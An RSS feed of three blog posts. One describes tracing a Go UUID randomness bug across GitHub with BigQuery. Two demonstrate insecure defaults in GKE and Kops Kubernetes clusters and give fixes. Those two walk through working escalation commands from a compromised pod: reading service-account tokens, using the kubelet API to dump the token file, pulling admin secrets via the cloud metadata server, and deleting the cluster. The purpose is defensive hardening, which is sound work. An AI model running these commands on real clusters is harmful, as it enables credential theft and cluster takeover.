<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Josselin Costanzi on Medium]]></title>
        <description><![CDATA[Stories by Josselin Costanzi on Medium]]></description>
        <link>https://medium.com/@jossctz?source=rss-2a0d133bf5f2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*uQFEZ_BHyPu24K5aX1wMOQ.jpeg</url>
            <title>Stories by Josselin Costanzi on Medium</title>
            <link>https://medium.com/@jossctz?source=rss-2a0d133bf5f2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 16:16:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jossctz/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[GitHub OSS hygiene: Tracking a security bug at scale with Big Data]]></title>
            <link>https://medium.com/@jossctz/github-oss-hygiene-tracking-a-security-bug-at-scale-with-big-data-5fa5928b40fe?source=rss-2a0d133bf5f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/5fa5928b40fe</guid>
            <category><![CDATA[github]]></category>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[data-science]]></category>
            <category><![CDATA[bigquery]]></category>
            <dc:creator><![CDATA[Josselin Costanzi]]></dc:creator>
            <pubDate>Wed, 10 Oct 2018 14:07:48 GMT</pubDate>
            <atom:updated>2018-10-10T14:07:48.267Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bmXzg96AgdQMxOSY" /><figcaption>“teal, red, and purple LEGO plastic firecracker toy in focus photography” by <a href="https://unsplash.com/@helloimnik?utm_source=medium&amp;utm_medium=referral">Hello I&#39;m Nik</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Back in March as I was working on a new API for a personal pet-project I stumbled on a bug that would make me process terabytes of source code and open issues in almost one hundred GitHub projects in an attempt to contain it.</p><p>My API is using <a href="https://en.wikipedia.org/wiki/Universally_unique_identifier">UUIDs Version 4</a> to name some files that are generated by my processing engine. The idea is that since UUIDs are universally unique I can generate them locally on the worker nodes of my cluster without any synchronization between the nodes and still be confident there won’t be any collision. According to <a href="https://en.wikipedia.org/wiki/Universally_unique_identifier#Collisions">Wikipedia</a>: <em>the number of random version 4 UUIDs which need to be generated in order to have a 50% probability of at least one collision is 2.71 quintillion</em>. As I am generating a few hundred UUIDs per day I don’t expect any collision for the first few million-billion years of my API running. It’s perfect.</p><p>After a few days, looking at the filenames generated I notice some strangely non-random UUIDs among the files:</p><pre>02524e6f-65a7-4cf5-8000-0000000000002<br>6e3ef1c8-0000-4000-8000-0000000000001<br>fa07f1e9-a8a0-427f-8103-e34e000000000<br>2cfa392b-71d5-4000-8000-000000000000<br>5f16db16-56ce-4000-8000-000000000000<br>bac73b37-aab3-498b-8000-000000000000<br>da5bd82d-4f98-4b51-8000-000000000000<br>eb245e52-535f-4274-8350-3a7200000000<br>5936f955-286e-47ac-8000-000000000000<br>0a14da92-0000-4000-8000-000000000000<br>cd2b88a5-0000-4000-8000-000000000000</pre><p>Some UUIDs even have only two bytes of randomness!</p><pre>80730000-0000-4000-8000-000000000000<br>f7510000-0000-4000-8000-000000000000</pre><p>With what looks like a serious bug or even a security issue if the UUIDs are used for authentication, my plan of kicking the can of colliding UUIDs down the road for a few billion years comes to a stop. It’s time to track and fix this bug.</p><p>Coming from a C background, I like to code in Go as I like the <em>no-magic but still expressive </em>(compared to C) feel of this language. To generate UUIDs I used the <a href="https://github.com/satori/go.uuid/issues">satori/go.uuid</a> library. At the time that was the reference library for generating UUIDs in go with more than 2K stars on GitHub.</p><p>After some serious debugging using time-proven tools such as Println and Printf I <a href="https://github.com/satori/go.uuid/issues/73">find the bug</a> and <a href="https://github.com/satori/go.uuid/pull/75">submit the fix upstream</a> expecting a prompt response from the maintainer. It never came.</p><p>After four months without any response, clearly satori/go.uuid wasn’t maintained anymore. With my hope of seeing my fix accepted disappearing, I decided to try to find the projects at risk and to warn them about the situation.<br>There are 2.9M projects on GitHub, that should be easy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*y2oZ0v-aNubIVWBh" /><figcaption>“aerial view of bale roll” by <a href="https://unsplash.com/@mattseymour?utm_source=medium&amp;utm_medium=referral">Matt Seymour</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>BigQuery comes to the rescue</h3><p>Luckly for us, GitHub exports every week the content of its 2.9M public, open-source projects to a public <a href="https://bigquery.cloud.google.com/dataset/bigquery-public-data:github_repos">BigQuery dataset</a>.<br>Let’s get to <a href="https://bigquery.cloud.google.com/">https://bigquery.cloud.google.com</a> and start working on this dataset!</p><p>First, we create a list of every go files on GitHub. We store the list in a private dataset named go.files:</p><pre>SELECT *<br>FROM [bigquery-public-data:github_repos.files]<br>WHERE RIGHT(path, 3) = &#39;.go&#39;</pre><pre>Query complete (45.5s elapsed, 318 GB processed)</pre><p>Now we create a dataset called go.contents that contains the content (actual code) of all go files from go.files:</p><pre>SELECT *<br>FROM [bigquery-public-data:github_repos.contents]<br>WHERE id IN (SELECT id FROM go.files)</pre><pre>Query complete (192.6s elapsed, 2.14 TB processed)</pre><p>Next step is to remove <a href="https://go.googlesource.com/proposal/+/master/design/25719-go15vendor.md">vendored files</a> as we are not interested in them. Result stored in go.content_not_vendor:</p><pre>SELECT * <br>FROM [go.contents] <br>WHERE id IN (SELECT id FROM go.files WHERE NOT path CONTAINS &#39;vendor&#39;)</pre><p>Now let’s select the files actually importing github.com/satori/go.uuid, result stored in go.uuid:</p><pre>SELECT * <br>FROM [go.content_not_vendor] <br>WHERE content CONTAINS “github.com/satori/go.uuid”</pre><pre>Query complete (5.1s elapsed, 11.3 GB processed)</pre><p>Now, we just have to locate files that calls the buggy version of uuid.NewV4(): the NewV4 function prototype changed from NewV4() uuid to NewV4() (uuid, err) in the same commit where our randomness bug was introduced, giving us an easy way to detect projects that use a bad version by searching for error handling around NewV4:</p><pre>SELECT id <br>FROM [go.uuid] <br>WHERE REGEXP_MATCH(content, r’Must\(\w+\.NewV4&#39;)</pre><pre>SELECT id<br>FROM [go.uuid] <br>WHERE REGEXP_MATCH(content, r&#39;err := uuid\.NewV4&#39;)</pre><p>We store the result in a dataset called go.baduuid From theses file IDs, we can at last retrieve the GitHub projects they belong to:</p><pre>SELECT repo_name<br>FROM [go.files]<br>WHERE id IN (SELECT id from [go.baduuid])<br>GROUP BY repo_name</pre><p>And now we have our list of projects importing the vulnerable version of satori/go.uuid! You can see the list of the 90 impacted projects: <a href="https://gist.github.com/josselin-c/c1bda90ba538c65a5b8062aa2db0c386">here</a>.</p><p>From there, its easy to make a script that uses <a href="https://github.com/stephencelis/ghi">ghi</a> to open an issue in each project:</p><pre>#!/bin/bash</pre><pre>while read repo; do<br>    echo “Processing $repo”<br>    ghi open “Replace package satori/go.uuid” \<br>    -m “This issue has been opened automatically because...&quot; — $repo || true<br>    sleep 10 # Try to avoid potential rate limiting.<br>done &lt;repos</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_qphWijyL2_s203X" /><figcaption>“assorted-color spider toys” by <a href="https://unsplash.com/@rawpixel?utm_source=medium&amp;utm_medium=referral">rawpixel</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>Conclusion</h3><p>BigQuery with GitHub public dataset is a great tool for open-source ecosystem-wide hygiene. Using BigQuery I was able, in an hour, from my couch, to go though terabytes of code and find projects that were impacted by <a href="https://github.com/satori/go.uuid/issues/73">satori/go.uuid#73</a>. And now everybody can have collision-free UUIDs again!</p><h4>See also</h4><ul><li><a href="https://medium.com/google-cloud/github-on-bigquery-analyze-all-the-code-b3576fd2b150">All the open source code in GitHub now shared within BigQuery: Analyze all the code!</a></li><li><a href="https://blog.github.com/2017-01-19-github-data-ready-for-you-to-explore-with-bigquery/">GitHub data, ready for you to explore with BigQuery</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5fa5928b40fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Google Kubernetes Engine: default deployment security problems]]></title>
            <link>https://medium.com/@jossctz/google-kubernetes-engine-default-deployment-security-problems-ccac23ad35b?source=rss-2a0d133bf5f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/ccac23ad35b</guid>
            <category><![CDATA[google-cloud-platform]]></category>
            <category><![CDATA[gke]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[kubernetes]]></category>
            <dc:creator><![CDATA[Josselin Costanzi]]></dc:creator>
            <pubDate>Thu, 30 Nov 2017 09:01:59 GMT</pubDate>
            <atom:updated>2017-11-30T12:55:11.022Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QKC9h9Rbctdkw6ShNTnvHg.jpeg" /></figure><p>In <a href="https://medium.com/@jossctz/security-problems-of-kops-default-deployments-2819c157bc90">last week story</a> I presented some security problems of <a href="https://github.com/kubernetes/kops">Kops</a> default deployments and how you can fix them.</p><p>A default deployment of a Kubernetes cluster using <a href="https://cloud.google.com/kubernetes-engine/">Google Kubernetes Engine</a> suffers two of the same type of flaws that you must know about and fix before going to production.</p><h4>Default Google Kubernetes Engine installation</h4><p>Creating a cluster with GKE is pretty straight-forward with the <a href="https://cloud.google.com/sdk/downloads">gcloud</a> command line utility:</p><pre>$ gcloud container clusters create mycluster<br>Creating cluster mycluster...\<br>NAME       ZONE            MASTER_VERSION  MASTER_IP      MACHINE_TYPE   NODE_VERSION  NUM_NODES  STATUS<br>mycluster  europe-west1-d  1.7.8-gke.0     35.187.97.137  n1-standard-1  1.7.8-gke.0   3          RUNNING</pre><p>At the time of this article this installs the Kubernetes release 1.7.8. It takes a couple of minutes for everything to be ready and after that, you get a super-easy to manage/upgrade/scale cluster hosted on Google infrastructure. This is my favorite way to get a Kubernetes cluster up and running but also to administer: every operation is a click away and the QA Google performs for each feature makes upgrading your cluster a breeze.</p><p>That being said, if you care about <strong>security in depth</strong> (and you should), the default setup suffers from two major problems that you must know about.<br>I strongly advise you to <strong>correct theses problems</strong> before going to production.</p><h4>Problem 1: No RBAC by default</h4><p>Same problem for GKE and for Kops here. By default <a href="https://kubernetes.io/docs/admin/authorization/#authorization-modules">RBAC</a> isn’t enabled just yet. This means somebody getting access to one of your pods gets automatically access to the whole cluster: he can effortlessly <strong>jump</strong> from container to container, <strong>delete</strong> everything running, <strong>access</strong> secrets.</p><p>Demonstration:</p><pre># Start a container and log into it<br>$ kubectl run --image=google/cloud-sdk gcloud -- sleep infinity<br>$ kubectl exec -ti gcloud-290-v51rv bash<br>root@gcloud-290-v51rv:/#</pre><p>From the container, list other pods:</p><pre>root@gcloud-290-v51rv:/# <strong>kubectl get pods --all-namespaces -o name</strong><br>pods/gcloud-290-v51rv<br>pods/event-exporter-v0.1.7-958884745-m2hk6<br>pods/fluentd-gcp-v2.0.9-bz5hl<br>pods/fluentd-gcp-v2.0.9-ctlh6<br>pods/fluentd-gcp-v2.0.9-pwlz2<br>pods/heapster-v1.4.3-1096258942-bhpnq<br>pods/kube-dns-3092422022-h8w4n<br>pods/kube-dns-3092422022-vnkrl<br>pods/kube-dns-autoscaler-97162954-7m8zr<br>pods/kube-proxy-gke-mycluster-default-pool-cb7b0ee6-q2c0<br>pods/kube-proxy-gke-mycluster-default-pool-cb7b0ee6-v2c3<br>pods/kube-proxy-gke-mycluster-default-pool-cb7b0ee6-xcxn<br>pods/kubernetes-dashboard-1914926742-2p8hz<br>pods/l7-default-backend-1798834265-l6xsw</pre><p><strong>From our pod, run a command on another pod:</strong></p><pre>root@gcloud-290-v51rv:/# kubectl -n kube-system <strong>exec</strong> -ti -c event-exporter event-exporter-v0.1.7-958884745-m2hk6 <strong>ls</strong><br>bin   dev  event-exporter  lib   media  opt   root  sbin  sys usr<br>boot  etc  home     lib64  mnt  proc  run   srv   tmp var</pre><p>Fix: <em>always enable RBAC on your cluster</em>. To do so, when you create the cluster, add --no-enable-legacy-authorization to the command so that RBAC will be enabled. This won’t be necessary with Kubernetes 1.8 onward: the option will be enabled by default. See the <a href="https://cloud.google.com/kubernetes-engine/docs/role-based-access-control">doc on google cloud</a> for more details. <br>Note: if you are upgrading from an existing cluster to 1.8, you have to use gcloud command with option --no-enable-legacy-authorization to get a cluster with RBAC enabled after the upgrade.</p><p>Create the cluster with RBAC, log into a pod:</p><pre>$ gcloud container clusters create --no-enable-legacy-authorization mycluster<br>Creating cluster mycluster...done.<br>[joss@~]$ kubectl run --image=google/cloud-sdk gcloud -- sleep infinity<br>deployment &quot;gcloud&quot; created<br>[joss@~]$ kubectl exec -ti gcloud-2908167891-sdb3p bash</pre><p>The Kubernetes API Server now rejects the requests, the pod doesn’t have enough permissions:</p><pre>root@gcloud-2908167891-sdb3p:/# kubectl get pods<br>Error from server (Forbidden): User &quot;system:serviceaccount:default:default&quot; cannot list pods in the namespace &quot;default&quot;.: &quot;Unknown user \&quot;system:serviceaccount:default:default\&quot;&quot; (get pods)</pre><h4>Problem 2: Node scope includes Read/Write on Compute Engine</h4><p>The second issue is the Google Kubernetes Engine equivalent of the <em>AWS Metadata problem</em> with Kops: by default, your instance has Read/Write permissions on Compute Engine and pods running on your instances can ask the Google Metadata API server for an access token with the permissions of the instance. This means on a default GKE cluster, <strong>pods are able to connect or destroy any instances (VM) running in the project.</strong></p><p>Demonstration:</p><p>Start a pod with gcloud and log into it:</p><pre>$ kubectl run --image=google/cloud-sdk gcloud -- sleep infinity<br>$ kubectl exec -ti gcloud-290-v51rv bash<br>root@gcloud-290-ckfpq:/#</pre><p>From the pod, list the instances running on the project:</p><pre>root@gcloud-290-ckfpq:/# gcloud compute instances list<br>NAME                                        ZONE            MACHINE_TYPE   PREEMPTIBLE  INTERNAL_IP  EXTERNAL_IP     STATUS<br><strong>gke-mycluster-default-pool-cb7b0ee6-q2c0</strong>    europe-west1-d  n1-standard-1               10.132.0.4   35.205.194.113  RUNNING<br><strong>gke-mycluster-default-pool-cb7b0ee6-v2c3</strong>    europe-west1-d  n1-standard-1               10.132.0.5   35.205.239.8    RUNNING<br><strong>gke-mycluster-default-pool-cb7b0ee6-xcxn</strong>    europe-west1-d  n1-standard-1               10.132.0.3   35.190.200.121  RUNNING<br><strong>instance-1</strong>                                  europe-west1-d  n1-standard-1               10.132.0.6   35.195.48.69    RUNNING</pre><p>Example 1: from the pod, SSH into instance-1 (a VM outside our GKE cluster):</p><pre>root@gcloud-290-ckfpq:/# gcloud compute ssh joss@instance-1</pre><pre>Updating project ssh metadata...\<br>joss@instance-1:~$</pre><p>Example 2: from the pod, <strong>delete the whole Cluster</strong> (<strong>Warning</strong>: this kills the cluster. Don’t do it):</p><pre>root@gcloud-290-ckfpq:/# gcloud compute instance-groups list<br>NAME                                       LOCATION        SCOPE  NETWORK  MANAGED  INSTANCES<br>gke-mycluster-default-pool-cb7b0ee6-grp    europe-west1-d  zone   default  Yes      3</pre><pre>root@gcloud-290-ckfpq:/# gcloud compute instance-groups managed delete gke-mycluster-default-pool-cb7b0ee6-grp</pre><pre>The following instance group managers will be deleted:<br> - [gke-mycluster-default-pool-cb7b0ee6-grp] in [europe-west1-d]</pre><pre>Do you want to continue (Y/n)? y</pre><pre>Deleting autoscalers...done.<br>Deleting Managed Instance Group.../</pre><pre># Logs stop here: <strong>the instance the pod is running-on has been destroyed</strong></pre><p>Being able to kill the whole cluster from a pod <em>is</em> pretty bad. The escalation from an application breach to a full disaster is immediate.</p><p>Fix: Add network filtering rules to prevent pods from hitting the Metadata API Server. You can do it by adding a <a href="https://kubernetes.io/docs/concepts/services-networking/network-policies/">Network Policy</a> to block egress traffic to the metadata server. I’m note sure what the consequences of removing the “<em>Compute Read/Write</em>” scope from the instance authorizations would be.</p><p>Details and discussion about this issue can be found at <a href="https://github.com/kubernetes/kubernetes/issues/8867">#8867</a>. An option to forbid pods from accessing the metadata server has been merged a month ago and should be available with Kubernetes 1.9.</p><h4>Conclusion</h4><p>If you deployed your cluster using the default configuration, please have a look again and maybe plan an operation or at least create a ticket to have a deeper look at this sometime, you don’t want to have your cluster disappear at the first breach in your system.</p><p>General security should get better over time for Kubernetes: RBAC is out of beta since 1.8 and a fix to <a href="https://github.com/kubernetes/kubernetes/issues/8867">#8867</a> has been merged. It’s now a matter of finding a balance between safe and convenient defaults.</p><p>You may be interested about the same class of issues for Kubernetes clusters deployed with Kops: <a href="https://medium.com/@jossctz/security-problems-of-kops-default-deployments-2819c157bc90">read here</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ccac23ad35b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Security problems of Kops default deployments]]></title>
            <link>https://faun.pub/security-problems-of-kops-default-deployments-2819c157bc90?source=rss-2a0d133bf5f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/2819c157bc90</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[kops]]></category>
            <dc:creator><![CDATA[Josselin Costanzi]]></dc:creator>
            <pubDate>Thu, 23 Nov 2017 15:29:29 GMT</pubDate>
            <atom:updated>2019-07-16T14:28:36.140Z</atom:updated>
            <content:encoded><![CDATA[<p>We have all seen the <a href="https://blog.mrtrustor.net/post/k8s-aws-kops/">typical tutorial</a> demonstrating how easy it is to deploy a Kubernetes Cluster on AWS using <a href="https://github.com/kubernetes/kops">Kops</a>. It’s almost a one-liner. In this article I’ll start from this one-liner and demonstrate several security flaws of the default deployment.</p><p>Exploiting theses flaws gives an attacker full cluster control. This means that a single app compromise becomes a <strong>full cluster compromise.</strong></p><p>When thinking about security, you must think about <a href="https://en.wikipedia.org/wiki/Defense_in_depth_(computing)">defense in depth</a>. The system must be conceived so that a breach somewhere can be contained. For a container management platform, this means that a breached container shouldn’t be able to access its host or other containers.</p><p>In this article I’ll show that a default Kops setup has no security in depth and how an attacker can use a single compromised container to gain access to everything in the cluster. I’ll also show you how to handle and fix theses security flaws to the best of my knowledge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4rmouP1mZZPVOZjG" /><figcaption>Photo by <a href="https://unsplash.com/@markusspiske?utm_source=medium&amp;utm_medium=referral">Markus Spiske</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h4>Default Kops installation</h4><p>To install a cluster using the latest stable release of Kops (Version 1.7.1) we will use the default settings for everything:</p><pre>$ export KOPS_STATE_STORE=s3://jossctz<br>$ export AWS_PROFILE=aws-lab<br>$ kops create cluster --dns-zone=lab-aws.jossctz-test.com \<br>--name=k8s-kops.lab-aws.jossctz-test.com<br>$ kops update cluster k8s-kops.lab-aws.jossctz-test.com --yes</pre><p>After a while you’ll have your cluster running. Kops will have configured your <em>kubectl </em>to talk to your new cluster. You can confirm this by listing your cluster’s nodes:</p><pre>$ kubectl get nodes<br>NAME                            STATUS    AGE       VERSION<br>ip-172-20-35-9.ec2.internal     Ready     16m       v1.7.10<br>ip-172-20-42-173.ec2.internal   Ready     10m       v1.7.10<br>ip-172-20-84-12.ec2.internal    Ready     12m       v1.7.10</pre><h4>No RBAC by default</h4><p><a href="https://en.wikipedia.org/wiki/Role-based_access_control">Role Based Access Control</a> (RBAC) is a method to regulate access to resources based on roles of individuals. <a href="https://kubernetes.io/docs/admin/authorization/rbac/">On Kubernetes</a> RBAC is used by the API Server to drive authorization decisions: an <em>unprivileged</em> role may only be able to get pods status while an <em>developper</em> role may be able to edit deployments in a given namespace and an <em>admin</em> role may be able to access and create any resource. RBAC is out of beta since Kubernetes 1.8.</p><p>On a default Kops installation, RBAC isn’t enabled. Coupled with the fact that by default, every pod running in a Kubernetes cluster is given a token to talk to the Kubernetes API means that any pod in the cluster can do anything: reading secrets, destroying deployments, …</p><p>Demonstration:</p><pre># Run a pod and exec into the container<br>$ kubectl run --image=debian mycontainer -- sleep infinity<br>deployment &quot;mycontainer&quot; created<br>$ kubectl exec -ti mycontainer-30-dmcvh bash</pre><pre># Here is our API token<br>root@mycontainer-30-dmcvh:/# cat /var/run/secrets/kubernetes.io/serviceaccount/token<br>eyJhbGciOiJSUzI1NiIsInR5cC…</pre><pre># Install kubectl to talk to the Kubernetes API server<br>curl -sLO https://storage.googleapis.com/kubernetes-release/release/$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/linux/amd64/kubectl &amp;&amp; chmod +x kubectl &amp;&amp; mv kubectl /usr/local/bin</pre><pre># <strong>Get the cluster secrets</strong><br>root@mycontainer-364691980-dmcvh:/# kubectl get secrets --all-namespaces</pre><pre>NAMESPACE     NAME      TYPE           DATA      AGE<br>kube-system   attachdetach-controller-token-dsqx2      kubernetes.io/service-account-token   3         6m</pre><pre>kube-system   certificate-controller-token-7cq41       kubernetes.io/service-account-token   3         6m</pre><pre>kube-system   daemon-set-controller-token-75d8d        kubernetes.io/service-account-token   3         6m</pre><pre>...</pre><p>As we can see, an attacker getting its hands on a pod running in our cluster automatically gains full access to the cluster. He can destroy any pods to bring down your service, he can also get secrets such as API keys or certificates or start mining whatever crypto is trending today.</p><p>Fix: <em>Always enable RBAC</em>. To do this, add the option --authorization=RBAC to kops create cluster. If you have an existing cluster, you can edit your cluster and replace the authentication:</p><pre>$ kops edit cluster k8s-kops.lab-aws.jossctz-test.com<br># In the editor replace the authorization method &quot;alwaysAllow: {}&quot; by &quot;rbac: {}&quot;</pre><pre># Now restart with RBAC enabled<br>$ kops update cluster k8s-kops.lab-aws.oxalide-test.com --yes<br>$ kops rolling-update cluster k8s-kops.lab-aws.oxalide-test.com --yes</pre><p>A while ago some <a href="https://helm.sh/">Helm</a> deployments would fail when RBAC was enabled but it isn’t the case anymore so you really don’t have any excuses.<br>Note: if you are updating an existing cluster, some helm deployments may have to be re-deployed with the option set to create an RBAC role.</p><p><em>With RBAC enabled, an attacker won’t get automatic full cluster admin access</em>:</p><pre>root@mycontainer-364691980-hdqcm:/# kubectl get pods</pre><pre>Error from server (Forbidden): User “system:serviceaccount:default:default” cannot list pods in the namespace “default”. (get pods)</pre><h4>Kubelet does not enforce authorization</h4><p>With RBAC enabled, the Kubernetes API Server will now check incoming requests against a set of rules to determine whether the user making the request has enough permissions or not. For example, a user with access limited to a given namespace won’t be able to make actions on anything outside this namespace.</p><p>This is of course if you talk to the Kubernetes API Server. If you are in the cluster, you can then talk to the <a href="https://kubernetes.io/docs/concepts/overview/components/#kubelet">kubelet</a>.</p><blockquote><strong>kubelet<br></strong><a href="https://kubernetes.io/docs/admin/kubelet/">kubelet</a> is the primary node agent. It watches for pods that have been assigned to its node (either by apiserver or via local configuration file) and […]<br>Runs the pod’s containers via docker […]</blockquote><p>Being able to talk to the kubelet gives us full access to the cluster by being able to run commands on any pod, <strong>completely bypassing the Kubernetes API Server authorization mechanisms</strong>. Unfortunately, by default the kubelet exposes an API on every nodes on port 10250. The API is not authenticated and allows the caller to fully control the containers running on the node.</p><p>Here is how you can retrieve the admin token of the cluster from any pod, bypassing RBAC:</p><pre># From outside the pod, get the node names<br>$ kubectl get no<br>NAME                          STATUS AGE VERSION<br>ip-172–20–35–9.ec2.internal   Ready  28m v1.7.10<br>ip-172–20–42–173.ec2.internal Ready  21m v1.7.10<br>ip-172–20–84–12.ec2.internal  Ready  23m v1.7.10</pre><pre># Run a container and log into it<br>$ kubectl run --image=debian mycontainer -- sleep infinity<br>$ kubectl exec -ti mycontainer-370-hdqcm bash</pre><pre># List the pods running on a node by talking with the Kubelet<br>root@mycontainer-370-hdqcm:/# curl -Lk https://172.20.35.9:10250/runningpods | python -m json.tool<br>{<br>  &quot;apiVersion&quot;: &quot;v1&quot;,<br>  &quot;items&quot;: [<br>    {<br>    &quot;metadata&quot;: {<br>      &quot;name&quot;: &quot;kube-apiserver-ip-172-20-35-9.ec2.internal&quot;,<br>      &quot;namespace&quot;: &quot;kube-system&quot;,<br>      &quot;uid&quot;: &quot;e68f52a244db8af3c508ae7f3cb6c774&quot;<br>    },<br>    &quot;spec&quot;: {<br>      &quot;containers&quot;: [{<br>        &quot;image&quot;: &quot;gcr.io/google_containers/kube-apiserver@sha256:965c830a29f8e40aad38607bc211346170116ab986cdbe1e1d638d7139662f7a&quot;,<br>        &quot;name&quot;: &quot;kube-apiserver&quot;,<br>      }]<br>    }<br>   },...<br>   ]<br>}</pre><pre># Now that we found our Kubernetes API Server tell the kubelet to<br># run a command on this pod, <strong>giving us the cluster access</strong> <strong>tokens</strong>.<br>root@mycontainer-370-hdqcm:/# curl -Lk -X POST https://172.20.35.9:10250/run/kube-system/kube-apiserver-ip-172-20-35-9.ec2.internal/kube-apiserver -d &quot;cmd=cat /srv/kubernetes/known_tokens.csv&quot;<br>i3zUrFpBKvVKKn7LLf8YZAdmkOdI4olz,system:dns,system:dns<br>WKEUznkHRNTDjhr1Ji39zoiKgHoavypo,admin,admin<br>NhNOCTgunx9ozbqeaJCqsNdZAbnDWcom,kube,kube<br>...</pre><pre># Use the admin token and confirm cluster access<br>root@mycontainer-370-hdqcm:/# curl -kH &quot;Authorization: Bearer WKEUznkHRNTDjhr1Ji39zoiKgHoavypo&quot;  https://kubernetes/api/</pre><pre>{<br>  &quot;kind&quot;: &quot;APIVersions&quot;,<br>  &quot;versions&quot;: [&quot;v1&quot;],<br>  &quot;serverAddressByClientCIDRs&quot;: [{<br>     &quot;clientCIDR&quot;: &quot;0.0.0.0/0&quot;,<br>     &quot;serverAddress&quot;: &quot;52.90.235.165&quot;<br>  }]<br>}</pre><p>You are now admin on the cluster.</p><p>Fix: A first solution is to add iptables rules to prevent pods from hitting the kubelets. If your networking solution support it, you can do it by adding a <a href="https://kubernetes.io/docs/concepts/services-networking/network-policies/">Network Policy</a> to block egress traffic to the kubelet IP range.</p><p>If your networking solution doesn’t support Network Policies (flannel), you may be able to add iptable rules on the nodes directly (use a daemon set).</p><p>It would be better to secure the API Server &lt;-&gt; Kubelet communication channel but I’m not sure how to do it just yet: see <a href="https://github.com/kubernetes/kops/issues/3891">#3891</a> for progress on this.</p><h4>AWS Metadata API is reachable</h4><p>A last one, this time we use the <a href="http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html">AWS metadata server</a> to gain admin privileges on the cluster by directly reading the bucket containing the Kops configuration.</p><pre># run a pod with the awscli and exec into it<br>$ kubectl run --command=true --image=mesosphere/aws-cli aws-cli -- sleep 999999<br>$ kubectl exec -ti aws-cli-972556109-md8px sh</pre><pre># Get the name of the bucket that holds kops configuration by <br># accessing the metadata information of the instance we are <br># running on:<br>root@/# curl -s http://169.254.169.254/latest/user-data | grep -A 1 channels<br>channels:<br>- s3://jossctz/k8s-kops.lab-aws.jossctz-test.com/addons/bootstrap-channel.yaml</pre><pre># You can now read the bucket content<br>root@/# aws s3 ls s3://jossctz<br>    PRE k8s-kops.lab-aws.jossctz-test.com/</pre><pre># So you get access to the whole cluster configuration<br>root@/# aws s3 ls s3://jossctz/k8s-kops.lab-aws.jossctz-test.com/<br>    PRE addons/<br>    PRE instancegroup/<br>    PRE pki/<br>    PRE secrets/<br>2017-11-17 20:17:44       4399 cluster.spec<br>2017-11-17 20:17:44       1089 config</pre><pre># <strong>Retrieve the cluster admin token</strong><br>root@/# aws s3 cp s3://jossctz/k8s-kops.lab-aws.jossctz-test.com/secrets/admin .<br>download: s3://jossctz/k8s-kops.lab-aws.jossctz-test.com/secrets/admin to ./admin<br>root@/# cat admin<br>{&quot;Data&quot;:&quot;V0tFVXpua0hSTlREamhyMUppMzl6b2lLZ0hvYXZ5cG8=&quot;}<br>root@/# echo &quot;V0tFVXpua0hSTlREamhyMUppMzl6b2lLZ0hvYXZ5cG8=&quot; | base64 -d<br>WKEUznkHRNTDjhr1Ji39zoiKgHoavypo</pre><pre># Again, you get admin access to the cluster<br>root@/# curl -kH &quot;Authorization: Bearer WKEUznkHRNTDjhr1Ji39zoiKgHoavypo&quot;  https://kubernetes/api/</pre><pre>{<br>  &quot;kind&quot;: &quot;APIVersions&quot;,<br>  &quot;versions&quot;: [&quot;v1&quot;],<br>  &quot;serverAddressByClientCIDRs&quot;: [{<br>     &quot;clientCIDR&quot;: &quot;0.0.0.0/0&quot;,<br>     &quot;serverAddress&quot;: &quot;52.90.235.165&quot;<br>  }]<br>}</pre><p>You are now admin on the cluster.</p><p>Fix: Use <a href="https://github.com/jtblin/kube2iam">kube2iam</a> or <a href="https://github.com/uswitch/kiam">kiam</a>, they install iptables rules that forbid unauthorized pods from calling the metadata server. Thus preventing pods from accessing AWS resources. You could also setup a Network Policy if you don’t need to give your pods access to AWS.</p><p>Install kube2iam using helm:</p><pre>helm install stable/kube2iam --name kube2iam --namespace=kube-system --set host.iptables=true --set rbac.create=true</pre><p>With kube2iam installed, pods don’t have access to the security credentials by default:</p><pre># From a 